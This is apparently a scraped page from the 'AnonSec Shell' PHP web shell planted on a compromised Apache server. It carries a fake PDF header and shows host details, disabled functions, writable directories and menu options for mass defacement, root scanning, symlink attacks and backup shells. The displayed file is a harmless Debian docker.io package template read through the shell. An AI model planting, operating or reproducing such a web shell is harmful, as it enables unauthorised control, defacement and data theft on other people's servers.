%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/docker.io.templates
Template: docker.io/restart
Type: boolean
Default: false
Description: Automatically restart Docker daemon?
 If Docker is upgraded without restarting the Docker daemon, Docker will often
 have trouble starting new containers, and in some cases even maintaining the
 containers it is currently running. See https://launchpad.net/bugs/1658691 for
 an example of this breakage.
 .
 Normally, upgrading the package would simply restart the associated daemon(s).
 In the case of the Docker daemon, that would also imply stopping all running
 containers (which will only be restarted if they're part of a "service", have
 an appropriate restart policy configured, or have some other means of being
 restarted such as an external systemd unit).

Anon7 - 2022
AnonSec Team